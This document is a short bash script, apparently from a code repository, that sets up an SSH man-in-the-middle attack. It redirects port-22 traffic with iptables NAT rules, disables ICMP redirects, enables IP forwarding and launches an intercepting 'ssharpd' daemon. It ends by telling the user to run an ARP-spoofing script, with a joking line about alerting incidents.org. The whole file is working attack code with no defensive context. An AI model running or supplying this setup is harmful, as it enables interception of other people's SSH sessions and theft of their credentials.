blob: eb23e0865ce87f03689f5e6ca782e30af8ca91ac (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
#!/bin/bash
# set this path to a ssharpd binary
SSHARPD=./ssharp/__sshd
echo -n "Setting up ssh traffic redirection... "
iptables -t nat -A PREROUTING -p tcp --dport 22 --sport 1000:8000 -j REDIRECT --to-ports 10000 2> /dev/null
if [ "$?" != "0" ]; then
echo "Error!"
exit 1
fi
iptables -t nat -A PREROUTING -p tcp --dport 22 --sport 20000:60000 -j REDIRECT --to-ports 10000
if [ "$?" != "0" ]; then
echo "Error!"
exit 1
fi
echo "done."
echo -n "Configuring interfaces... "
for x in `ls /proc/sys/net/ipv4/conf`; do
echo 0 > /proc/sys/net/ipv4/conf/$x/send_redirects
done
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "done."
echo > /tmp/____asd
echo -n "Starting daemon... "
$SSHARPD -4 -p 10000 < /tmp/____asd 2> /dev/null
if [ "$?" != "0" ]; then
echo "Error!"
rm -rf /tmp/____asd
exit 1
fi
rm -rf /tmp/____asd
echo "done."
echo "Dropping vicki@incidents.org a hint about suspicious traffic... "
echo "Error!"
echo "Now run arp.sh (uhh.. did you already write it?)"
|